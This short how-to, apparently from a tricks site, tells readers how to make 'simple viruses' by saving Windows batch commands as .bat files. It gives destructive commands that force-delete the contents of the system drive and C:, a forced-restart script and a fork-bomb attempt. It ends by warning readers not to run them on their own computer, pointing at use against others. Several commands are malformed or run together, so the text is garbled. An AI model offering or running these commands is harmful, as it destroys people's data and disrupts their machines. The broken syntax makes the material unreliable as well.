1) Open Notepad.
2) Copy and paste any of the following codes of your choice to make virus:
- To delete all the content of a drive, use this code :
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00
- To crush the Windows, use this code :
Del C:\ *.* y
- To make computer restart virus, use this code :
@echo off shutdown -r -f -t 00
- To make Fork virus to open many Command Prompts, use this code :
start3) Now Save these Files with any desired name with .bat extension.
4) Don't run these files on your own computer otherwise the result you already know.
So these are simple Tricks to make Simple Viruses.